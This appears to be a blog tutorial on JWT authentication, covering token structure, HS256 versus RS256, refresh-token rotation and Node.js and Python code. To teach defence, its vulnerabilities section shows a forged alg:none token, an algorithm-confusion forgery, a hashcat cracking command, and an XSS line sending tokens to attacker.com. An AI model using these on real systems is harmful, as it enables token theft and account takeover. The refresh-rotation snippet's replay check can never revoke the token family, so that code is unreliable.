backend

JWT Authentication Explained: How It Works, Security Risks, and Best Practices

Complete guide to JWT security, JWT vs session tokens, JWT best practices, signing algorithms, refresh token rotation, and real Node.js/Python implementations.

By Akash Sharma·17 min read
#jwt
#authentication
#security
#backend
#python
#nodejs
#golang
#api

What is JWT and how does JWT authentication work? A JWT (JSON Web Token) is a compact, self-contained token that lets a server authenticate requests without a database lookup. When a user logs in, the server creates a signed JWT containing the user's identity and sends it back. The client attaches this token to every subsequent request in the Authorization: Bearer <token> header. The server verifies the cryptographic signature — if it's valid, the server trusts the claims inside. No session store, no database round-trip.

This guide covers how JWTs work internally, the real security vulnerabilities (including CVEs), JWT vs session tokens with a decision framework, the refresh token rotation pattern, production best practices, and complete Node.js and Python implementations.

What Is a JWT? Structure and How It Works

A JWT looks like three base64url-encoded strings joined by dots:

plaintext
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsImV4cCI6MTcxNTAwMDAwMH0.abc123signature

Three parts: header.payload.signature

Header

json
{
  "alg": "HS256",
  "typ": "JWT"
}

Specifies the signing algorithm. This matters a lot for security — more on that below.

Payload

json
{
  "user_id": 123,
  "email": "alice@example.com",
  "role": "admin",
  "exp": 1715000000,
  "iat": 1714996400,
  "iss": "auth.yourapp.com",
  "aud": "api.yourapp.com"
}

The actual claims. exp is expiry (Unix timestamp). iat is issued-at. iss is the issuer. aud is the audience. Everything here is readable by anyone — it is base64 encoded, not encrypted. Never put passwords, SSNs, or sensitive PII in the payload.

Signature

plaintext
HMACSHA256(
  base64url(header) + "." + base64url(payload),
  secret_key
)

This is what makes it tamper-proof. Without the secret key, an attacker cannot forge a valid signature. Changing even one character of the payload invalidates the signature.

The Auth Flow in Practice

plaintext
1. User logs in (email + password)
2. Server verifies credentials against database
3. Server creates JWT, signs it with secret key, sends it back
4. Client stores token, attaches it to every request:
   Authorization: Bearer <token>
5. Server verifies signature on each request — no DB lookup needed
6. If valid: process request. If invalid/expired: return 401.

Signing Algorithms: HS256 vs RS256

HS256 (HMAC SHA-256): Uses one symmetric secret key for both signing and verification. Simple to set up. The risk: every service that needs to verify tokens must have the secret, which means the secret can leak from any of those services.

RS256 (RSA SHA-256): Asymmetric. Uses a private key to sign, a public key to verify. Your auth service holds the private key. Every downstream service gets only the public key — they can verify tokens without ever seeing the signing secret. If a downstream service is compromised, the attacker gets only the public key, not the signing capability.

ES256 (ECDSA SHA-256): Similar security properties to RS256 but with shorter key sizes and faster operations. Increasingly preferred for new systems.

Rule of thumb:

  • Single service or monolith → HS256 (simplicity wins)
  • Microservices or multiple consumers → RS256 or ES256
  • Never → none (see vulnerabilities section)

Implementing JWT in Node.js

javascript
// npm install jsonwebtoken
const jwt = require('jsonwebtoken');
 
const SECRET_KEY = process.env.JWT_SECRET; // min 256-bit secret in production
const ACCESS_TOKEN_EXPIRY = '15m';
const REFRESH_TOKEN_EXPIRY = '7d';
 
// Create access token
function createAccessToken(userId, role) {
  return jwt.sign(
    { user_id: userId, role },
    SECRET_KEY,
    {
      algorithm: 'HS256',
      expiresIn: ACCESS_TOKEN_EXPIRY,
      issuer: 'auth.yourapp.com',
      audience: 'api.yourapp.com',
    }
  );
}
 
// Verify access token — validates signature, expiry, issuer, audience
function verifyAccessToken(token) {
  try {
    return jwt.verify(token, SECRET_KEY, {
      algorithms: ['HS256'],          // explicit allowlist — never omit this
      issuer: 'auth.yourapp.com',
      audience: 'api.yourapp.com',
    });
  } catch (err) {
    if (err instanceof jwt.TokenExpiredError) {
      throw new Error('Token expired');
    }
    if (err instanceof jwt.JsonWebTokenError) {
      throw new Error('Invalid token');
    }
    throw err;
  }
}
 
// Express middleware
function requireAuth(req, res, next) {
  const authHeader = req.headers.authorization;
  if (!authHeader || !authHeader.startsWith('Bearer ')) {
    return res.status(401).json({ error: 'Missing authorization header' });
  }
 
  const token = authHeader.slice(7);
  try {
    req.user = verifyAccessToken(token);
    next();
  } catch (err) {
    return res.status(401).json({ error: err.message });
  }
}

RS256 in Node.js (Microservices)

javascript
const fs = require('fs');
const jwt = require('jsonwebtoken');
 
// Auth service — holds private key
const privateKey = fs.readFileSync('./keys/private.pem');
 
function createToken(userId) {
  return jwt.sign({ user_id: userId }, privateKey, {
    algorithm: 'RS256',
    expiresIn: '15m',
    issuer: 'auth.yourapp.com',
  });
}
 
// Downstream service — holds only public key
const publicKey = fs.readFileSync('./keys/public.pem');
 
function verifyToken(token) {
  return jwt.verify(token, publicKey, {
    algorithms: ['RS256'],   // explicit — never allow HS256 here or alg confusion attack works
    issuer: 'auth.yourapp.com',
  });
}

Implementing JWT in Python

python
# pip install PyJWT cryptography
import jwt
from datetime import datetime, timezone, timedelta
from typing import Optional
 
SECRET_KEY = "your-256-bit-secret"  # load from env in production
ALGORITHM = "HS256"
 
def create_access_token(user_id: int, role: str) -> str:
    now = datetime.now(timezone.utc)
    payload = {
        "user_id": user_id,
        "role": role,
        "exp": now + timedelta(minutes=15),
        "iat": now,
        "iss": "auth.yourapp.com",
        "aud": "api.yourapp.com",
    }
    return jwt.encode(payload, SECRET_KEY, algorithm=ALGORITHM)
 
def verify_access_token(token: str) -> dict:
    try:
        return jwt.decode(
            token,
            SECRET_KEY,
            algorithms=[ALGORITHM],          # explicit allowlist — critical
            issuer="auth.yourapp.com",
            audience="api.yourapp.com",
        )
    except jwt.ExpiredSignatureError:
        raise ValueError("Token has expired")
    except jwt.InvalidTokenError as e:
        raise ValueError(f"Invalid token: {e}")
 
# FastAPI dependency
from fastapi import Depends, HTTPException, status
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
 
security = HTTPBearer()
 
def get_current_user(
    credentials: HTTPAuthorizationCredentials = Depends(security),
) -> dict:
    try:
        payload = verify_access_token(credentials.credentials)
        return payload
    except ValueError as e:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail=str(e),
            headers={"WWW-Authenticate": "Bearer"},
        )

JWT Security Vulnerabilities

This is where most tutorials stop short. JWT has several well-documented attack vectors — each with specific CVEs.

1. The alg:none Attack

CVE-2015-9235 (node-jsonwebtoken), CVE-2016-10555 (python-jose)

The JWT spec allows "alg": "none" — a token with no signature. Early libraries accepted it without complaint. An attacker changes the header to "alg": "none", strips the signature, and the server accepts it as valid.

plaintext
# Attacker crafts:
{"alg": "none", "typ": "JWT"}
.
{"user_id": 1, "role": "admin", "exp": 9999999999}
.
# Empty signature

Prevention:

python
# Always specify exact algorithms — never None, never empty
jwt.decode(token, key, algorithms=["HS256"])  # good
jwt.decode(token, key, algorithms=["HS256", "RS256"])  # still ok if intentional
jwt.decode(token, key)  # BAD — may accept alg:none in older libraries

2. Algorithm Confusion (RS256 → HS256 Downgrade)

CVE-2016-5431 (python-jwt)

If your server verifies RS256 tokens but accepts both HS256 and RS256, an attacker can take your public key (which is public) and use it as the HMAC secret to sign a forged HS256 token. The server verifies it with the public key as HMAC secret — and it matches.

python
# Vulnerable:
jwt.decode(token, public_key, algorithms=["HS256", "RS256"])
# Attacker signs with: jwt.encode(payload, public_key, algorithm="HS256")
# Server verifies HMAC-SHA256(msg, public_key) — and it matches!
 
# Fixed:
jwt.decode(token, public_key, algorithms=["RS256"])  # RS256 only

Prevention: Lock the algorithm. If you issue RS256, only accept RS256. Never let the token header dictate which algorithm to use for verification.

3. Weak Secrets and Secret Brute-Forcing

HS256 signed with a weak secret is offline-crackable. If an attacker captures a valid JWT, they can run tools like hashcat or jwt-cracker against it:

bash
hashcat -a 0 -m 16500 <token> wordlist.txt

Security researchers routinely find production JWTs signed with secrets like secret, password, jwt_secret, or the app name.

Prevention:

  • Use a cryptographically random secret: openssl rand -hex 32
  • Minimum 256 bits (32 bytes) for HS256
  • Load from environment variables, never hardcode
  • Or switch to RS256/ES256 where brute-forcing is not feasible

4. Token Theft via XSS

If access tokens are stored in localStorage, any XSS vulnerability on your domain can exfiltrate them:

javascript
// Attacker's script injected via XSS:
fetch('https://attacker.com/steal?token=' + localStorage.getItem('access_token'));

Prevention:

  • Store access tokens in memory (JavaScript variable in a closure), not localStorage
  • Store refresh tokens in httpOnly; Secure; SameSite=Strict cookies — JavaScript cannot read these
  • Implement a Content Security Policy (CSP) to limit XSS blast radius

5. CSRF on Cookie-Stored Tokens

If you store tokens in cookies (even httpOnly), you're exposed to CSRF unless you add protection. A malicious site can trigger authenticated requests to your API using the victim's cookies.

Prevention:

  • Use SameSite=Strict or SameSite=Lax on cookies
  • Add a CSRF token for state-changing operations
  • Or use the double-submit cookie pattern
  • For REST APIs: if you read the token from Authorization: Bearer header (not auto-sent cookies), CSRF is not possible — browsers don't auto-attach headers cross-origin

6. Missing Claim Validation

A valid signature doesn't mean a token is valid for your service. Without validating iss, aud, and exp, you're vulnerable to token reuse across services or accepting expired tokens.

python
# Dangerous — only checks signature
jwt.decode(token, key, algorithms=["HS256"])
 
# Correct — validates everything
jwt.decode(
    token,
    key,
    algorithms=["HS256"],
    options={"require": ["exp", "iss", "aud"]},
    issuer="auth.yourapp.com",
    audience="api.yourapp.com",
)

JWT vs Session Tokens

The choice between JWTs and server-side sessions is architectural, not religious. Here's an honest comparison:

JWT (Stateless)Session Tokens (Stateful)
Server storageNone — token is self-containedSession store (Redis, DB)
ScalabilityHorizontal scaling trivialRequires shared session store
RevocationHard — need a denylistInstant — delete from store
Token size300–2000 bytes (payload grows)~20–40 bytes (just an ID)
DB lookup per requestNoneOptional (session cache)
Cross-domain authEasy (header, any domain)Requires CORS config + cookies
MicroservicesExcellent — verify without calling auth serviceHarder — services need session store access
Logout invalidationRequires denylist or short expiryImmediate
Implementation complexityMedium (rotation, denylist)Low (built-in framework support)

When to Use JWT

  • Multiple services or microservices sharing auth
  • Mobile apps and SPAs where cookie management is awkward
  • Third-party API consumers (public APIs)
  • Cross-domain authentication (OAuth 2.0, SSO)
  • Stateless serverless functions

When to Use Sessions

  • Traditional server-rendered web apps (Django, Rails, Laravel)
  • Single server or small cluster with easy session sharing
  • You need instant revocation without infrastructure overhead
  • Compliance requirements that mandate immediate session termination

The trap: Many developers default to JWTs for web apps because they seem modern, then spend weeks building denylist infrastructure to compensate for the loss of stateful revocation. If you're building a monolith web app, sessions are probably simpler.

JWT Refresh Token Pattern

The refresh token pattern solves the tension between security (short-lived tokens) and usability (staying logged in).

How It Works

plaintext
Login → Server issues:
  access_token  (15 minutes, stored in memory)
  refresh_token (7 days, stored in httpOnly cookie)
 
Every API call:
  Client sends access_token in Authorization header
  Server validates — no DB call needed
 
When access_token expires:
  Client sends refresh_token to POST /auth/refresh
  Server validates refresh_token against DB
  Server issues new access_token (+ optionally new refresh_token)
  Client stores new access_token in memory
 
On logout:
  Client deletes access_token from memory
  Client calls POST /auth/logout
  Server deletes refresh_token from DB → fully invalidated

Refresh Token Rotation

Basic refresh token: the same refresh token works until it expires. If stolen, the attacker has 7 days.

Rotation: Issue a new refresh token on every refresh and invalidate the old one. If an old refresh token is used, it means either the legitimate user or an attacker replayed it — invalidate the entire family.

javascript
// Node.js refresh token rotation
const crypto = require('crypto');
 
async function handleRefresh(oldRefreshToken, db, res) {
  // 1. Look up refresh token in DB
  const tokenRecord = await db.refreshTokens.findOne({
    token: hash(oldRefreshToken),
    revoked: false,
  });
 
  if (!tokenRecord) {
    // Token not found or already used — possible replay attack
    // Invalidate all refresh tokens for this user (token family revocation)
    if (tokenRecord) {
      await db.refreshTokens.updateMany(
        { user_id: tokenRecord.user_id },
        { $set: { revoked: true } }
      );
    }
    throw new Error('Invalid refresh token — session terminated');
  }
 
  if (new Date() > tokenRecord.expires_at) {
    throw new Error('Refresh token expired');
  }
 
  // 2. Revoke old refresh token
  await db.refreshTokens.updateOne(
    { _id: tokenRecord._id },
    { $set: { revoked: true } }
  );
 
  // 3. Issue new tokens
  const newAccessToken = createAccessToken(tokenRecord.user_id, tokenRecord.role);
  const newRefreshToken = crypto.randomBytes(32).toString('hex');
 
  // 4. Store new refresh token
  await db.refreshTokens.insertOne({
    token: hash(newRefreshToken),
    user_id: tokenRecord.user_id,
    role: tokenRecord.role,
    expires_at: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
    revoked: false,
    created_at: new Date(),
  });
 
  // 5. Set refresh token in httpOnly cookie
  res.cookie('refresh_token', newRefreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    maxAge: 7 * 24 * 60 * 60 * 1000,
  });
 
  return { access_token: newAccessToken };
}
 
function hash(token) {
  return crypto.createHash('sha256').update(token).digest('hex');
}

Why hash the refresh token in the DB? If your database is compromised, hashed tokens cannot be used directly — the attacker needs the raw value from the cookie.

JWT Best Practices in Production

1. Key Rotation

HS256 secrets and RS256 private keys should be rotated periodically. The challenge: tokens signed with the old key are still in circulation.

Strategy:

  • Assign a kid (key ID) to each key: {"alg": "RS256", "typ": "JWT", "kid": "key-2026-01"}
  • Publish multiple public keys at /.well-known/jwks.json (JWKS endpoint)
  • Verifiers look up the key by kid
  • Rotate: add new key, keep old key active for one access token TTL (15 min), then remove old key
javascript
// Fetching JWKS and caching keys
const jwksClient = require('jwks-rsa');
 
const client = jwksClient({
  jwksUri: 'https://auth.yourapp.com/.well-known/jwks.json',
  cache: true,
  cacheMaxAge: 600000, // 10 minutes
});
 
function getKey(header, callback) {
  client.getSigningKey(header.kid, (err, key) => {
    callback(err, key?.getPublicKey());
  });
}
 
jwt.verify(token, getKey, { algorithms: ['RS256'] }, callback);

2. Token Revocation with a Denylist

For access tokens that must be revocable before expiry (e.g., on password change, account compromise):

python
import redis
from datetime import datetime, timezone
 
r = redis.Redis(host='localhost', port=6379, db=0)
 
def revoke_token(jti: str, exp: int):
    """Add token JTI to Redis denylist until expiry."""
    ttl = exp - int(datetime.now(timezone.utc).timestamp())
    if ttl > 0:
        r.setex(f"revoked:{jti}", ttl, "1")
 
def is_revoked(jti: str) -> bool:
    return r.exists(f"revoked:{jti}") == 1
 
# In verify middleware:
def verify_token(token: str) -> dict:
    payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    jti = payload.get("jti")
    if not jti:
        raise ValueError("Token missing jti claim")
    if is_revoked(jti):
        raise ValueError("Token has been revoked")
    return payload
 
# When issuing tokens, always include jti:
import uuid
payload["jti"] = str(uuid.uuid4())

The denylist TTL matches the token expiry, so the Redis entry auto-deletes when the token would have expired anyway. Memory overhead is proportional to the number of active revoked tokens, not all tokens ever issued.

3. Always Validate iss and aud

Without these checks, a token issued by a different service for a different audience is accepted.

javascript
// Service A and Service B both use the same auth server
// Without aud validation, a token for Service A works on Service B
 
jwt.verify(token, publicKey, {
  algorithms: ['RS256'],
  issuer: 'https://auth.yourapp.com',
  audience: 'https://api.yourapp.com',  // this service's identifier
});

4. Minimum Viable JWT Payload

Put only what downstream services need in the token. Less data = smaller tokens = faster transport = less sensitive data exposed.

json
{
  "sub": "user_123",
  "role": "admin",
  "exp": 1715001200,
  "iat": 1715000000,
  "jti": "a4f3d2e1-...",
  "iss": "auth.yourapp.com",
  "aud": "api.yourapp.com"
}

No email, no name, no preferences — fetch those from the user service if needed.

5. Token Expiry Guidelines

Token typeRecommended TTLRationale
Access token5–15 minutesShort window limits damage from theft
Refresh token7–30 daysBalance UX vs risk
One-time tokens (password reset)10–30 minutesSingle use, short-lived
API keys (machine-to-machine)No expiry OR annual rotationManaged externally, revoked explicitly

FAQ

What is a JWT token and how does it work?

A JWT (JSON Web Token) is a signed token containing encoded JSON data. It has three parts: a header (algorithm info), a payload (user claims like user ID and role), and a signature. When a user logs in, the server creates a JWT, signs it with a secret key, and returns it to the client. The client sends this token with every request. The server verifies the signature — if valid, it trusts the claims without hitting a database.

What is the difference between JWT and session cookies?

Session cookies store only a session ID. The server looks up that ID in a session store (Redis/database) to find the user's data on every request. JWTs are self-contained: the user data is encoded inside the token, so the server verifies the signature and reads the data without any storage lookup. Sessions enable instant revocation (delete the session). JWTs are harder to revoke without a denylist because they're valid until expiry.

Are JWTs secure? What are the risks?

JWTs are secure when implemented correctly, but have real attack vectors: the alg:none attack (CVE-2015-9235), algorithm confusion attacks (CVE-2016-5431), token theft via XSS if stored in localStorage, weak HMAC secrets that can be brute-forced offline, and missing claim validation (iss, aud, exp). The payload is base64-encoded, not encrypted — anyone with the token can read it. Mitigation: use RS256 or strong HS256 secrets, store tokens properly (memory/httpOnly cookies), validate all claims, and keep access tokens short-lived.

How do I invalidate a JWT token?

JWTs are stateless, so invalidation requires extra infrastructure. Options: (1) Short expiry — 15-minute access tokens limit the damage window. (2) Redis denylist — store the token's jti in Redis with a TTL matching token expiry; check on every request. (3) Refresh token rotation — use stateful refresh tokens; invalidating the refresh token prevents new access tokens from being issued. (4) Version field — store a token_version on the user record; increment it on password change; reject tokens with old versions.

What should I store in a JWT payload?

Store only what downstream services need to process a request without additional DB calls: user ID (sub), roles/permissions, token metadata (exp, iat, jti, iss, aud). Do not store passwords, PII (SSNs, phone numbers), sensitive business data, or large objects. The payload is readable by anyone with the token and adds to request size on every call. If a downstream service needs additional user data, it should fetch it from the user service using the sub claim.

What is the difference between access tokens and refresh tokens?

Access tokens are short-lived (5–15 minutes), sent with every API request in the Authorization header, and ideally stored in memory. They're designed to expire quickly so a stolen token has a small damage window. Refresh tokens are long-lived (7–30 days), used only to obtain a new access token, and stored in an httpOnly cookie. The critical security property: if an access token is stolen, the attacker has 15 minutes. If a refresh token is stolen, you need to detect and revoke it (via rotation or a denylist).

Should I use HS256 or RS256 for JWT signing?

Use HS256 for single-service applications where one service both signs and verifies tokens — it's simpler and faster. Use RS256 (or ES256) for microservices or any scenario where multiple services need to verify tokens independently. With RS256, only the auth service holds the private key; other services verify with the public key. If the inventory service is compromised, attackers get the public key — not the signing key. For OAuth 2.0 and public APIs, RS256 is the standard.

Key Takeaways

  • JWTs are self-contained — no DB lookup needed per request, which is why they scale well across services
  • Use HS256 for single-server; RS256/ES256 for microservices
  • Always specify the exact algorithm allowlist when verifying — never let the token header choose
  • Short-lived access tokens (15 min) + long-lived refresh tokens (7 days) with rotation is the production pattern
  • Store access tokens in memory, refresh tokens in httpOnly; Secure; SameSite=Strict cookies
  • Never put sensitive data in the payload — it is not encrypted
  • Validate iss, aud, and exp on every token — a valid signature alone is not enough
  • For instant revocation: maintain a Redis denylist keyed on jti
  • Rotate keys with kid + JWKS endpoint so you can change signing keys without downtime

JWTs solve a real problem, but they shift complexity to the client and to your revocation strategy. Understand the tradeoffs before committing. For traditional web apps, server-side sessions are often the simpler choice.

Related reading: REST API Design Best Practices · Rate Limiting Your API

Enjoyed this article?

Get weekly insights on backend architecture, system design, and Go programming.